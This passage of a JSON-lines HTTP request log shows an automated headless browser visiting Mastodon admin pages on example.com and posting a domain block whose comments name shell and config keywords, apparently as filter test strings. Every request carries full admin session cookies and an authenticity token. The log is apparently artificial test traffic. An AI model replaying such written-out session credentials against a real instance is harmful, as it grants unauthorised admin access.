_mastodon_session=36kr%2FwxkxqtvacFejAgITOOxTfkTW6e6njRqGLwpKYMkic7kTjznQJOg2sJi8uwOx0q8A%2FAdSsVAbo7rp3uYgUe0%2FXQxY68BN4RLP%2FMewevr2KrOtlW6xKvoxSYd%2FmpN4y81ZsZ0MkD8tFYI1FqZiG%2BxEHpNVGkCqh8zvUZiw7I%2BQJAWlkJ85odpllXS33gsA%2FhMc8p5cYxS6x56wS4wXKwqIjwr%2BWb9ArYh8I%2B2Mw3V7wCz8dGIpId5htc2zw1EXXq%2FXXPqX8kJ6DmBMG6FGG2J069PP5weBXZhmUWzayvCH%2BX33y%2FFCAOaUioVk5jh%2FC1ERf42vqPyTR2O86OI%2FIuguFrhQZBhAOVa%2FZ5%2FsKXnLHnfm42EinKIjdsKHBLl%2FEgTENZQirW5--1jubfsoXN%2BekAxaT--Y8eJCV32gItIwWHP4PscPA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/email_domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTQuMTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f15a7254c8c6644bf5a61b4d7d6da1831627d811; _mastodon_session=36kr%2FwxkxqtvacFejAgITOOxTfkTW6e6njRqGLwpKYMkic7kTjznQJOg2sJi8uwOx0q8A%2FAdSsVAbo7rp3uYgUe0%2FXQxY68BN4RLP%2FMewevr2KrOtlW6xKvoxSYd%2FmpN4y81ZsZ0MkD8tFYI1FqZiG%2BxEHpNVGkCqh8zvUZiw7I%2BQJAWlkJ85odpllXS33gsA%2FhMc8p5cYxS6x56wS4wXKwqIjwr%2BWb9ArYh8I%2B2Mw3V7wCz8dGIpId5htc2zw1EXXq%2FXXPqX8kJ6DmBMG6FGG2J069PP5weBXZhmUWzayvCH%2BX33y%2FFCAOaUioVk5jh%2FC1ERf42vqPyTR2O86OI%2FIuguFrhQZBhAOVa%2FZ5%2FsKXnLHnfm42EinKIjdsKHBLl%2FEgTENZQirW5--1jubfsoXN%2BekAxaT--Y8eJCV32gItIwWHP4PscPA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTcuMTI3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e14306d2e3edc5e975e433650876ac1abe3a21b; _mastodon_session=cIskdpErqjQxTYnHGuTERxVtPRw1KfyZw1vZuXP9OwJqp8P%2FzOxtx34A9u0ewTnzsBU0yDI%2FlNJoCX9rOpgGLsua49XZBrZYsQnHEsPA2C%2FKAsh0Bwsinbz6ubX%2F%2B2LQNw4Oy4m%2F54GtYIJueALcGGhHjAtULWM9uJ1HRKj7%2BSUr1S%2B%2FuQGzwGhfSF1UMPfsbi%2FM1kxtiCvPZcBHvxKsBoKsZ5Ozb9xOSatcugHBy4Y3b2HR3cW0sHhH8DOjyO1pt5bSwDjgfVYis1QEwuiZYaPNO7VoyDkjfMnfyH0D0RsggXamY1ItaFBxrzJ9DOWmihcYE7ZPmXywXaWcwiEvTzWP4UDZht8JIiO%2Bt5PrAkIIhmkbz2KDqx%2BS%2Fpnb9K00YH1Ec%2FEYvRBx--fGe7ehdTVIBj8H0Q--yVnguTal69ryW8c4BNFIeQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDAuMDczWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--942434b61d50b3c527aad2664ca14b94d2221ead; _mastodon_session=bYnycQMY5qiM39c74S1GA05HxzfVtKiyrnHjCnsUGdh2zG2FhWHR0ZxqlR6PUZBttX5YAUqzBDiO72SNvRqUd6Nv55KIqDir7S284R%2BWOAGpEjhtqZ7M2eY3%2BUHZ9JkjA%2BFGq3P8xVid1oDDL0aBdhYbXTVs9FnWB6Kpj07Gh8PiaiEP%2B85DJp6VAMjgUZTQHOVvNUuQoOronACMIHSmLl4aBpV%2Fz8mDt5tNwHC11Djpeh1p%2FijXt%2FZJWu4LC3UA2Ob7K3Q7RZgzr5v6axigz%2FONjZ3Nh5u9KNIov7PWvv9HCvGOrRkvGkXFbZ2sPFp8AHU8gjCdz%2FrmSJdeP8brljI2B%2B7o4PPeDSLktoZ8gQviRkWM%2BYTstWjz5QAHS0Fm7KEbd2mAN84x--zeJcEdwvN7%2BuWYpc--UzKBsZ820OZrsahO5z4DZA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDMuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9fa1e040339894c6785bcadeaabcf556417a006; _mastodon_session=ToR1W6l%2FudKsCEUpS%2BBeS%2BWFeYRHFbkYT%2F9E4XcGcyR5s9FDbkDIWnoXeweF547hyZ4rtPM%2BhYbBYu%2FzhPl5WF48%2FDDHHHFTYF6HD38EZlR0sALgHV6KgBpirM1s4Dm1uFhLzInspzuldFfBOBe2cmRVqxbAlLxZw0jsb0KSZ%2BQkhvzIn%2F509CzJThqR3XZzigW%2BHg8HRQVengAL9PBDpb79qtmRiz4DK0CDEc6pgPT7F7jB5j2vDvIYnfuNyrCYQDK9j3WozZgz6urg0wpidYhCRzAYNvB8aWVc%2BIWlLPNqtaOAO6nCDZyb1v4R1mDKkBAaU6QX7sZfBAVQ82ULVftPGVVFXqmfl6YPe9GY6RFav6kPaoVmKspaYoK9cyymRxRSA%2F%2BKUb3x--c2LWLc806nMJkgrg--t168hdH6FtZRep%2BixjNbxw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/webhooks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDYuMDI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cc7a8fd61fec7b2f55af34e70367e7dd85957ad3; _mastodon_session=u2JgU9Ik%2BkfWUq8KMct%2FE%2FQwvIGLXFyjZq3dY%2B3dFN8LWw7TJS597QlwkGj%2BYYihEkS7cJ963I1LBl4HOR%2BSOD7cORUU8PVImoQ6dDee1KiboqqILoXGy2%2FtYUPo8NZXBqG2ytw%2FEFnHmk0el4msVb9mwGi7bJKgdUkaBD6PTmuW6o4bVbmZ8ZYgt7IVGJaWb%2BryncBXnABZd6e4ZJyI56iiQDLqiDy6xUr5q8Vp%2BGds%2FO4oP8rvz4DBl7%2BfO67H6UEFz6bp6Y%2BVeA1IaG8OsjAiOZ1pRx%2BAPsZWYNkUP1ELe5L%2F3N0A6Wzp0LwJ5qDcZYejgwRNKoAPgnfG2OC4KZW6SkV2k%2B77TsweMwgl3WyMur2YZMnAqriuBN818Aad7LqO8d9WbDFN--mp%2B9I3RwgY4KX3J%2F--87TZw6ig9eW9RoDocZJDGg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/preload-helper-HclGiUj8.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDkuMDM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a1f60da3bede3da55b897b74893513074e95154f; _mastodon_session=o5k4YXJeWOoS41GrQEwY9Q7FlMoRWIxFjrer%2BRkN72hM38uN%2B%2Fl0xc1uxSbB6NmtklKb2Bn2r6csSHqyqErjGpALh4S6RcUovqCrgo7Zy7OH0pa9%2F2YHAa7klhs2bi98758saOVf6B07RSa0NI5%2BkmE10Q6auafWoesg9ZOErnWbItZ38ETX12%2B4R7Xav2S4PpT%2BxI5giigLVJBMXrYebPMajcb1%2BztQ4Ik7PEhQhkzmF6KW0PHLJQvwNn46EMGoqJWSEjx%2B5SCwmW86egJXWKmU0I7es46yJVIDlj7DAUgv2CxJGn%2BxYfq9D3Qv0lwUbSyVgwNTtqRBe9%2Fn4Uimm%2F%2FzOLqXru5w4eewDpxyjwMAvtnA11Q51YH0wJWrM21J3buNZywCQ%2BhU--GwqTSSVV9kJ3e8YE--2B8wWkxMprnnDQu3%2Ff0FUg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/software_updates", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDkuMDM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a1f60da3bede3da55b897b74893513074e95154f; _mastodon_session=o5k4YXJeWOoS41GrQEwY9Q7FlMoRWIxFjrer%2BRkN72hM38uN%2B%2Fl0xc1uxSbB6NmtklKb2Bn2r6csSHqyqErjGpALh4S6RcUovqCrgo7Zy7OH0pa9%2F2YHAa7klhs2bi98758saOVf6B07RSa0NI5%2BkmE10Q6auafWoesg9ZOErnWbItZ38ETX12%2B4R7Xav2S4PpT%2BxI5giigLVJBMXrYebPMajcb1%2BztQ4Ik7PEhQhkzmF6KW0PHLJQvwNn46EMGoqJWSEjx%2B5SCwmW86egJXWKmU0I7es46yJVIDlj7DAUgv2CxJGn%2BxYfq9D3Qv0lwUbSyVgwNTtqRBe9%2Fn4Uimm%2F%2FzOLqXru5w4eewDpxyjwMAvtnA11Q51YH0wJWrM21J3buNZywCQ%2BhU--GwqTSSVV9kJ3e8YE--2B8wWkxMprnnDQu3%2Ff0FUg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/reports?account_id=1&by_target_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTEuOTc1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f8f48d6fc5c5849f392e9bc6b8d5da797ade9c9a; _mastodon_session=a7cCxC11AN4BN3rzwaCFxQ9elpBLvQ1wL8KOJXlq%2Bt0YsmVwCU%2BVgw9YOJXb1bFZ781IVd7yksZR4KwBs1hJjzqUf9C6r770Daywl8QWV9aOkG7VIx%2FEtuljehSJzBIzHwb10%2FQ7DCKmi9hCRl7V3XaLpq2TQ%2BpPxK%2B%2BU2AW8TOrTIFS7HeyiLRbagLRjNGSrHUWiTNq5SPoFsnTVL2yiuwCdg%2B6apAobvqqBWnq04omGviuF4jMYFWWjp1VLfzAqHJrmpZ2QwPSEwwNTQRqo%2B1j4yXMo3GZNMZNLMSy6H3dIAWK%2Bb1zIvljiYyYYjiIH9hWJSMjtvUf8znTGDCStgEoOwWi6%2BHhqta5KNa%2Ft5gML2VUDx2PL23wk7hvDy4XcC9hq4czhm%2Bc--%2F%2BQ5oY%2BEs7naFB0v--LSKMfS8I9QvQVOu3Z8apcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-intl-DlKP8ATg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/reports?account_id=1&by_target_domain=remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTQuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d275051beb5595d22689d10cceb2e1c32fb0d5b5; _mastodon_session=jBpFFWl%2BctVtGmCoceKzST%2BHujKcGv4opwiO2LzH6YSKB7MyWIoEsbyECWKc2Vy5BreItYbaGKA5fP6dNZrULLLsO5ssYY4zPVGzD7Rs4HcASnDGYKLgWd03RKn4XIeUCwgVCAoO%2FxprmLkFUGpJ2%2FTmNrm3cxVWTVO9XHbod%2BKUXQ1tS4TcTx0n50dagkWtBCIo0tptXULjacCvOKzt%2FyzjcHYBKQf332IYI%2BgMAjyTRgeulRzJF26SQIIWGeFii48Krhipn7k5dYEVQePt%2BA8W92Lznvj%2FynO%2Bc5bsW%2FXuX0iZVvZG8yxGk5c%2B8jjvG9Bgryi9y4M7KNQO3nJ0hvGCKd5FTUxA%2F6XQWJEH5jGejrB7XZ54AcdSOTVIs%2BIPxgCHe98uXCH7--6QuaxzY36VH2CNN8--v%2ByIa%2FubfphSWiPYHaN3Pg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/export_domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTQuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d275051beb5595d22689d10cceb2e1c32fb0d5b5; _mastodon_session=jBpFFWl%2BctVtGmCoceKzST%2BHujKcGv4opwiO2LzH6YSKB7MyWIoEsbyECWKc2Vy5BreItYbaGKA5fP6dNZrULLLsO5ssYY4zPVGzD7Rs4HcASnDGYKLgWd03RKn4XIeUCwgVCAoO%2FxprmLkFUGpJ2%2FTmNrm3cxVWTVO9XHbod%2BKUXQ1tS4TcTx0n50dagkWtBCIo0tptXULjacCvOKzt%2FyzjcHYBKQf332IYI%2BgMAjyTRgeulRzJF26SQIIWGeFii48Krhipn7k5dYEVQePt%2BA8W92Lznvj%2FynO%2Bc5bsW%2FXuX0iZVvZG8yxGk5c%2B8jjvG9Bgryi9y4M7KNQO3nJ0hvGCKd5FTUxA%2F6XQWJEH5jGejrB7XZ54AcdSOTVIs%2BIPxgCHe98uXCH7--6QuaxzY36VH2CNN8--v%2ByIa%2FubfphSWiPYHaN3Pg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/disputes/appeals", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTcuODcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9fd1d5395984fbc93115a003dc2f5feb3bfdb6e8; _mastodon_session=KnoGYlZNUqNlDcPH29Nu4ZzssotIZUoyb39E8pIB6cKpPYgNko%2FqU7zOXyMNEzN8BjccwaSkegDMGiJaHLU9dv7RVRxCoXSbC%2FCoT2dh3rBe7okRwBV16YzvnoLeI5pVewIHF7nrIYiS8DL8yfksmRnNG6suqE0P6oLJ6DMAn6twrzXxfTI4h7X7DX%2BKX8MchiuvRz9zlRVGSkWa%2F61iZcy9z9xYJwUP4WOc%2B0opxM8NRp5vfpRo%2BUfHFUz0t7Rdyum54%2BCMn01FqOucM29pXAEDdcmlYWiyYE0r40IMuh9Y0VaRGNERjLRMnQQWsAMEaAw%2BMQEaAaD%2FBlYET5LoPjYsA09tl1ddyzgdndOIFPrxsAy6y4owbqiPNDAV1Pgvn3bJKwDR6Ctb--agW9qaXyj4v2qBpc--p4NTjZg51mj%2Fod%2BCzuS9hw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjAuNzg0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ed721bbbb2d9124fb2e0fc314dcc9be200d97feb; _mastodon_session=SYfZrl1eoDRqYsBX45RjN1sEc2KfJIc1AhA9b9avpS7E%2B3K%2BMdbYI6mXyjZAK3GYrhUVKUprAa0P0HNhMwTBAyQjMgXkpN8OtlwptTcr%2Fq%2BJF3r0N%2BFt10lE1P1F7%2F0x61F4ZKl%2FOY%2BSlFQTZmehAyDgAEjvZe%2BhR5XTozPlmPiNWFjjKk8N3nYEPJKhjH1S3d2AnZkMpJiySNqjUxqjHHaoKKCDoN8MdClBXVhzbqA9U0Si01JojkZ4dHgYnll8Q%2B70UYb39vtBE%2FjB6j1lMvv9wiEdldwAcJnnQdG7PeLcX%2BmiMPTgSUG8GtxFdrl5SsqeAcOiGmYYoCkVCCwAAFPGpLLN020G%2BSDGf9ZLHqqM%2FP%2FlAIGAUxnirpHOtELBACxJMaTWWQzm--9WhJFpREG%2FQVpqmW--tS5yQYdHw43sIfVGop0mvQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 417", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjMuNjUxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fd8b38c917501c2f290e8defb6ae94bca81cb8b5; _mastodon_session=9ecnXqXjQVlrdj%2F17pFj491EKuwe%2FNSjmcH0bjkejo3WHRPIMcUQDmGtj3QQuUxAZqD0ogSFiVx1rTNiA43IEJtBWO4BNBTEvlZkc71bbqdZwsbiQpaiNAliZMm0wzmjc1eJ9tp51OwcmtUlLegw30vc0jmasFzl4hLxLYb2tmVHuJFalA4aavaaFgdhEocyakQqNqcDgGC1YPRjgytp%2FxPgXIU3A9iWol0uKwzZTIIuxxIuJtnrB%2FkDeSJzms%2BYy3sGVpJF1%2FwXn0GKn3mCcl1yeX9LlKIcemz1bFoi34Kbb6gcy7CgHTGRWr3FoE%2BhnwxlFPpY2ds%2Fwcu5z3LQuOabikDBl7DAkel6wFu0PqAbeA6idP3boa3qbu8fst%2B6Bp3kKantb5C2--NCY5nKqIuqqWT54J--iBHWxM8QkgE4NDZ2KCa7jg%3D%3D"], "body": "authenticity_token=cYCUlPaS9BWRo4FpRghW7EC_AgXSfF2uaFaXk72Rr274f9x5R1_IFKRO6aru9k25bv4h6rw3a8fEc_xWxm2s_A&domain_block%5Bdomain%5D=spam.example&domain_block%5Bseverity%5D=silence&domain_block%5Breject_media%5D=0&domain_block%5Breject_reports%5D=0&domain_block%5Bobfuscate%5D=0&domain_block%5Bprivate_comment%5D=Spam+about+python3+and+ls+-la&domain_block%5Bpublic_comment%5D=Spam+about+powershell+and+.htaccess&button="}
